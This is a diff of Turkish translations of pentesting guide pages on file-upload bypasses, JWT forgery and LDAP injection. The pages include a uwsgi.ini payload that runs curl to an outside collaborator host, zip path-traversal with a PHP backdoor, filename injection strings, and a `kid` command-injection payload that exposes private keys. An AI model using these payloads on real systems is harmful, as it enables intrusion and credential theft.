Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün, çeşitli şemaları sergileyen:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -127,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri algıladığında dosyayı belirli aralıklarla yeniden yükler.
|
||||
Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri algıladığında dosyayı belirli aralıklarla yeniden yükler.
|
||||
|
||||
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve bu da potansiyel istismar kapsamını daha da genişletir.
|
||||
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.
|
||||
|
||||
## **wget Dosya Yükleme/SSRF Hilesi**
|
||||
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -157,27 +156,27 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğünüz, **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğünüz, **HTTP sunucusunun farklı bir dosyaya yönlendirme yapmasıdır**, böylece başlangıç URL'si kontrolü atlayacak ve ardından wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
|
||||
|
||||
## Araçlar
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesterlar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmede yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesterlar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
|
||||
|
||||
## Dosya yüklemeden diğer güvenlik açıklarına
|
||||
|
||||
- **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
|
||||
- **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
|
||||
- **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin.
|
||||
- **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyon hileleri burada](../command-injection.md)).
|
||||
- **filename** değerini `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
|
||||
- **filename** değerini `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
|
||||
- **filename** değerini `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin.
|
||||
- **filename** değerini `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyon hileleri burada](../command-injection.md)).
|
||||
- [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/#xss-uploading-files-svg).
|
||||
- **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/#xss-abusing-service-workers).
|
||||
- [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
|
||||
- [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yükleri** deneyin.
|
||||
- [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
- Eğer **web sunucusuna bir URL'den bir resmi yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeyi deneyebilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- Eğer **web sunucusuna bir URL'den bir resmi yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeyi deneyebilirsiniz. Eğer bu **resim** bazı **kamusal** bir sitede **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
|
||||
- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin.
|
||||
|
||||
@ -191,12 +190,14 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğün
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML enjeksiyonu / XSS / Açık yönlendirme
|
||||
8. **PNG / JPEG**: Piksel sel saldırısı (DoS)
|
||||
9. **ZIP**: LFI / DoS üzerinden RCE
|
||||
9. **ZIP**: LFI üzerinden RCE / DoS
|
||||
10. **PDF / PPTX**: SSRF / KÖR XXE
|
||||
|
||||
#### Burp Eklentisi
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Sihirli Başlık Baytları
|
||||
|
||||
@ -217,9 +218,9 @@ ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Farklı klasörlerde aç
|
||||
### Farklı klasörlerde açma
|
||||
|
||||
Açma işlemi sırasında dizinlerde dosyaların beklenmedik bir şekilde oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
|
||||
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
|
||||
```python
|
||||
@ -269,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Hex Editör veya vi ile Değişiklik**: Zip içindeki dosyaların isimleri vi veya bir hex editör kullanılarak değiştirilir, "xxA" "../" olarak değiştirilerek dizinler arasında geçiş yapılır.
|
||||
3. **Hex Editörü veya vi ile Değiştirme**: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilir ve dizinler arasında geçiş yapılır.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -313,5 +314,4 @@ Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-f
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -33,14 +33,14 @@ Bir JWT'nin imzasının doğrulanıp doğrulanmadığını kontrol etmek için:
|
||||
|
||||
- Devam eden doğrulamayı öneren bir hata mesajı; ayrıntılı hatalardaki hassas bilgiler gözden geçirilmelidir.
|
||||
- Dönen sayfadaki bir değişiklik de doğrulamayı gösterir.
|
||||
- Değişiklik yoksa, doğrulama yok demektir; bu, payload taleplerini manipüle etmek için deneme yapma zamanıdır.
|
||||
- Değişiklik yoksa, doğrulama yok demektir; bu, payload iddialarını manipüle etmek için deneme yapma zamanıdır.
|
||||
|
||||
### Köken
|
||||
|
||||
Token'ın sunucu tarafında mı yoksa istemci tarafında mı oluşturulduğunu belirlemek için proxy'nin istek geçmişini incelemek önemlidir.
|
||||
|
||||
- İstemci tarafında ilk kez görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir ve daha fazla araştırma gerektirir.
|
||||
- Sunucu tarafında kaynaklanan token'lar, güvenli bir süreci gösterir.
|
||||
- Sunucu tarafında kaynaklanan token'lar güvenli bir süreci gösterir.
|
||||
|
||||
### Süre
|
||||
|
||||
@ -54,7 +54,7 @@ Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki de hiç s
|
||||
|
||||
Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.
|
||||
|
||||
Bu açığı denemek ve JWT içindeki farklı değerleri değiştirmek için "JSON Web Token" adlı Burp eklentisini kullanın (isteği Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. Ayrıca "Alg" alanının değerini "None" olarak ayarlamayı seçebilirsiniz).
|
||||
Bu açığı denemek ve JWT içindeki farklı değerleri değiştirmek için "JSON Web Token" adlı Burp eklentisini kullanın (isteği Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. "Alg" alanının değerini "None" olarak ayarlamak için de seçebilirsiniz).
|
||||
|
||||
### Algoritmayı RS256 (asimetrik) yerine HS256 (simetrik) olarak değiştirin (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
@ -81,19 +81,19 @@ Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının g
|
||||
|
||||
- **"jku" Başlığı ile Token'ları Değerlendirme**:
|
||||
- "jku" iddiasının URL'sini doğrulayarak uygun JWKS dosyasına yönlendirildiğinden emin olun.
|
||||
- Token'ın "jku" değerini, trafiği gözlemlemek için kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin.
|
||||
- Token'ın "jku" değerini, trafik gözlemi yapmaya olanak tanıyan kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin.
|
||||
- **HTTP Etkileşimini İzleme**:
|
||||
- Belirtilen URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
|
||||
- Bu süreçte `jwt_tool` kullanırken, testin kolaylaştırılması için `jwtconf.ini` dosyasını kişisel JWKS konumunuzla güncellemek önemlidir.
|
||||
- Belirttiğiniz URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
|
||||
- Bu süreçte `jwt_tool` kullanırken, testin kolaylaştırılması için kişisel JWKS konumunuzu `jwtconf.ini` dosyasını güncelleyerek belirtmek önemlidir.
|
||||
- **`jwt_tool` için Komut**:
|
||||
|
||||
- `jwt_tool` ile senaryoyu simüle etmek için aşağıdaki komutu çalıştırın:
|
||||
- Aşağıdaki komutu `jwt_tool` ile senaryoyu simüle etmek için çalıştırın:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
```
|
||||
|
||||
### Kid Sorunları Genel Görünümü
|
||||
### Kid Sorunları Genel Bakış
|
||||
|
||||
`kid` olarak bilinen isteğe bağlı bir başlık iddiası, belirli bir anahtarı tanımlamak için kullanılır ve bu, token imza doğrulaması için birden fazla anahtarın bulunduğu ortamlarda özellikle önemlidir. Bu iddia, bir token'ın imzasını doğrulamak için uygun anahtarın seçilmesine yardımcı olur.
|
||||
|
||||
@ -101,17 +101,17 @@ python3 jwt_tool.py JWT_HERE -X s
|
||||
|
||||
`kid` iddiası başlıkta mevcut olduğunda, karşılık gelen dosya veya varyasyonları için web dizininde arama yapması önerilir. Örneğin, `"kid":"key/12345"` belirtilmişse, web kökünde _/key/12345_ ve _/key/12345.pem_ dosyaları aranmalıdır.
|
||||
|
||||
#### "kid" ile Yol Geçişi
|
||||
#### "kid" ile Yol Traversali
|
||||
|
||||
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu, rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedeflenerek `kid` değerini değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
|
||||
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu, rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedeflenerek `kid` değerini değiştirerek bağlantı testi yapmak veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Belirli içeriklere sahip dosyaları hedef alarak, geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerinde **2** değerini içeren `/proc/sys/kernel/randomize_va_space` dosyası, JWT oluşturma için **2** simetrik şifresi ile `kid` parametresinde kullanılabilir.
|
||||
Belirli içeriklere sahip dosyaları hedef alarak, geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerinde **2** değerini içeren `/proc/sys/kernel/randomize_va_space` dosyası, JWT oluşturma için simetrik şifre olarak **2** ile `kid` parametresinde kullanılabilir.
|
||||
|
||||
#### "kid" Üzerinden SQL Enjeksiyonu
|
||||
|
||||
Eğer `kid` iddiasının içeriği bir veritabanından şifre almak için kullanılıyorsa, `kid` yükünü değiştirerek bir SQL enjeksiyonu gerçekleştirilebilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük:
|
||||
Eğer `kid` iddiasının içeriği bir veritabanından şifre almak için kullanılıyorsa, `kid` yükünü değiştirerek bir SQL enjeksiyonu gerçekleştirilebilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük şunları içerir:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
@ -119,7 +119,7 @@ Bu değişiklik, JWT imzalama için bilinen bir gizli anahtar olan `ATTACKER`'ı
|
||||
|
||||
#### "kid" Üzerinden OS Enjeksiyonu
|
||||
|
||||
`kid` parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirtmesi durumunda, Uzak Kod Yürütme (RCE) zafiyetlerine yol açabilir. `kid` parametresine komutlar enjekte ederek özel anahtarları açığa çıkarmak mümkündür. RCE ve anahtar açığa çıkarma için bir örnek yük:
|
||||
`kid` parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzaktan Kod Yürütme (RCE) zafiyetlerine yol açabilir. `kid` parametresine komutlar enjekte ederek, özel anahtarları açığa çıkarmak mümkündür. RCE ve anahtar açığa çıkarma sağlamak için bir örnek yük şudur:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
@ -128,7 +128,7 @@ Bu değişiklik, JWT imzalama için bilinen bir gizli anahtar olan `ATTACKER`'ı
|
||||
#### jku
|
||||
|
||||
jku, **JWK Set URL** anlamına gelir.\
|
||||
Eğer token “**jku**” **Header** iddiasını kullanıyorsa, **sağlanan URL'yi kontrol edin**. Bu, token'ı doğrulamak için Kamu Anahtarını içeren JWKS dosyasını barındıran bir URL'ye işaret etmelidir. Token'ı, trafiği izleyebileceğiniz bir web hizmetine jku değerini işaret edecek şekilde değiştirin.
|
||||
Eğer token “**jku**” **Header** iddiasını kullanıyorsa, o zaman **sağlanan URL'yi kontrol edin**. Bu, token'ı doğrulamak için Kamu Anahtarını içeren JWKS dosyasını barındıran bir URL'ye işaret etmelidir. Token'ı, trafiği izleyebileceğiniz bir web hizmetine jku değerini işaret edecek şekilde değiştirin.
|
||||
|
||||
Öncelikle yeni özel ve kamu anahtarları ile yeni bir sertifika oluşturmanız gerekir.
|
||||
```bash
|
||||
@ -136,7 +136,7 @@ openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Sonra, örneğin [**jwt.io**](https://jwt.io) kullanarak **oluşturulan genel ve özel anahtarlarla yeni bir JWT oluşturabilir ve jku parametresini oluşturulan sertifikaya yönlendirebilirsiniz.** Geçerli bir jku sertifikası oluşturmak için orijinalini indirebilir ve gerekli parametreleri değiştirebilirsiniz.
|
||||
Sonra, örneğin [**jwt.io**](https://jwt.io) kullanarak **oluşturulan genel ve özel anahtarlarla yeni bir JWT oluşturabilir ve jku parametresini oluşturulan sertifikaya yönlendirebilirsiniz.** Geçerli bir jku sertifikası oluşturmak için, orijinal olanı indirebilir ve gerekli parametreleri değiştirebilirsiniz.
|
||||
|
||||
"e" ve "n" parametrelerini bir genel sertifikadan şu şekilde elde edebilirsiniz:
|
||||
```bash
|
||||
@ -149,7 +149,7 @@ print("e:", hex(key.e))
|
||||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika formatı standardı) genel sertifikasına işaret eden bir URI. Set içindeki ilk sertifika, bu JWT'yi imzalamak için kullanılan sertifika olmalıdır. Ardışık sertifikalar, her biri bir öncekini imzalayarak sertifika zincirini tamamlar. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.
|
||||
X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika formatı standardı) genel sertifikasına işaret eden bir URI. Set içindeki ilk sertifika, bu JWT'yi imzalamak için kullanılan sertifika olmalıdır. Sonraki sertifikalar, her biri bir öncekini imzalayarak sertifika zincirini tamamlar. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.
|
||||
|
||||
**Bu başlığı kontrolünüz altındaki bir URL ile değiştirin** ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda **JWT'yi değiştirebilirsiniz**.
|
||||
|
||||
@ -166,7 +166,7 @@ Bu iki güvenlik açığını da **SSRF'ler için** kötüye kullanabilirsiniz.
|
||||
|
||||
#### x5c
|
||||
|
||||
Bu parametre **base64 formatındaki sertifikayı** içerebilir:
|
||||
Bu parametre **base64 formatında sertifika** içerebilir:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -218,29 +218,32 @@ Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce k
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) iddiası, bir JWT Token için benzersiz bir tanımlayıcı sağlar. Token'ın yeniden oynanmasını önlemek için kullanılabilir.\
|
||||
Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. 0001 ve 10001 isteği aynı ID'yi kullanacak. Bu nedenle, arka uç her istekte ID'yi artırıyorsa, bunu **bir isteği yeniden oynatmak** için kötüye kullanabilirsiniz (her başarılı yeniden oynatma arasında 10000 istek göndermeniz gerekecek).
|
||||
Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğunu varsayalım. 0001 ve 10001 istekleri aynı ID'yi kullanacak. Bu nedenle, arka uç her istekte ID'yi artırıyorsa, bunu **bir isteği yeniden oynama** amacıyla kötüye kullanabilirsiniz (her başarılı yeniden oynama arasında 10000 istek göndermeniz gerekecek).
|
||||
|
||||
### JWT Kayıtlı iddiaları
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
{{#ref}}
|
||||
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
|
||||
{{#endref}}
|
||||
|
||||
### Diğer saldırılar
|
||||
|
||||
**Çapraz hizmet İletim Saldırıları**
|
||||
|
||||
Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir müşteri için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir müşterisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir müşterisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynatma girişiminde bulunulmalıdır.
|
||||
Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir müşteri için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir müşterisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir müşterisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynama girişiminde bulunulmalıdır.
|
||||
|
||||
- Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceğinden kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kayıt olma izni gerekebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir.
|
||||
|
||||
**Token'ların Süre Sonu Kontrolü**
|
||||
|
||||
Token'ın süresi, "exp" Payload iddiası kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekmektedir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynamak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir süre sonu belirlemek amacıyla "exp" iddiasını kullanarak JWT yeniden oynatma saldırılarını azaltmayı önermektedir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrollerin uygulanması da önemlidir. Token "exp" iddiasını içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süre dolduktan sonra yeniden oynamak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre sonu kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
|
||||
Token'ın süresi, "exp" Payload iddiası kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekmektedir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynamak, o kullanıcıyı taklit etmeyi mümkün kılabilir. JWT RFC, token için bir süre sonu belirlemek amacıyla "exp" iddiasını kullanarak JWT yeniden oynama saldırılarını azaltmayı önermektedir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" iddiasını içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynamak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre sonu kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
|
||||
|
||||
- Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresi dolmayabileceğini ima edebilir.
|
||||
|
||||
### Araçlar
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/ticarpi/jwt_tool
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### **LDAP**
|
||||
|
||||
**LDAP nedir öğrenmek istiyorsanız, aşağıdaki sayfaya erişin:**
|
||||
**LDAP'nın ne olduğunu öğrenmek istiyorsanız, aşağıdaki sayfaya erişin:**
|
||||
|
||||
{{#ref}}
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
@ -18,21 +18,21 @@
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
